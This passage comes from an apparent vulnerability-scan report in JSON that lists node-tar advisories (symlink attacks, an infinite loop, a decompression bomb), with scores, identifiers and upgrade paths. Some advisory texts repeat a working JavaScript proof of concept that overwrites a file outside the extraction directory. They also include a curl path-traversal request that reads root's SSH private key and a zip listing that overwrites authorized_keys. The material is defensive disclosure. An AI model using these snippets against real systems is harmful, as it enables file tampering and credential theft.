"3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## 